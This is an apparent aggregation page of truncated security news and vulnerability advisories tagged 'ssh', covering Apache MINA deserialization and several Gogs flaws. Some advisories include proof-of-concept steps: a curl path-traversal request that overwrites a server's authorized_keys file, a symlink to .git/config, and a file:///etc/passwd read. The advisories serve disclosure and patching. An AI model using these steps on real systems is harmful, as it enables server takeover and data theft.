#ssh

The southern African telco is the latest entity on the continent to have its critical infrastructure hacked, and attackers release sensitive info online when Telecom Namibia refuses to negotiate.

The `ObjectSerializationDecoder` in Apache MINA uses Java’s native deserialization protocol to process incoming serialized data but lacks the necessary security checks and defenses. This vulnerability allows attackers to exploit the deserialization process by sending specially crafted malicious serialized data, potentially leading to remote code execution (RCE) attacks. This issue affects MINA core versions 2.0.X, 2.1.X and 2.2.X, and will be fixed by the releases 2.0.27, 2.1.10 and 2.2.4. It's also important to note that an application using MINA core library will only be affected if the IoBuffer#getObject() method is called, and this specific method is potentially called when adding a ProtocolCodecFilter instance using the `ObjectSerializationCodecFactory` class in the filter chain. If your application is specifically using those classes, you have to upgrade to the latest version of MINA core library. Upgrading will  not be enough: you also need to explicitly allow the classes th...

### Impact When the built-in SSH server is enabled (`[server] START_SSH_SERVER = true`), unprivileged user accounts with at least one SSH key can execute arbitrary commands on the Gogs instance with the privileges of the user specified by `RUN_USER` in the configuration. It allows attackers to access and alter any users' code hosted on the same instance. ### Patches The `env` command sent to the internal SSH server has been changed to be a passthrough (https://github.com/gogs/gogs/pull/7868), i.e. the feature is effectively removed. Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds [Disable the use of built-in SSH server](https://github.com/gogs/gogs/blob/7adac94f1e93cc5c3545ea31688662dcef9cd737/conf/app.ini#L76-L77) on operating systems other than Windows. ### References https://www.cve.org/CVERecord?id=CVE-2024-39930

### Impact Unprivileged user accounts with at least one SSH key can read arbitrary files on the system. For instance, they could leak the configuration files that could contain database credentials (`[database] *`) and `[security] SECRET_KEY`. Attackers could also exfiltrate TLS certificates, other users' repositories, and the Gogs database when the SQLite driver is enabled. ### Patches Unintended Git options has been ignored for creating tags (https://github.com/gogs/gogs/pull/7872). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References https://www.cve.org/CVERecord?id=CVE-2024-39933

### Impact The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. ### Patches Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References n/a ### Proof of Concept 1. Generate a Personal Access Tokens 2. Edit any file on the server with this ```bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' ``` 3. ssh connect to...

### Impact The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. ### Patches Editing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References n/a ### Proof of Concept 1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage. 2. In the second repository, create a symbolic link to the file you need to edit: ```bash $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test $ ls -la total 8 drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 . drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 .. drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git -rw-r--r--   1 dd  staff   12 O...

### Summary An **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **"real-browser"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server. ### Details The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (`<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL....

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SUMMARY Datadog Security Labs’ cybersecurity researchers have discovered a new, malicious year-long campaign from a threat actor identified…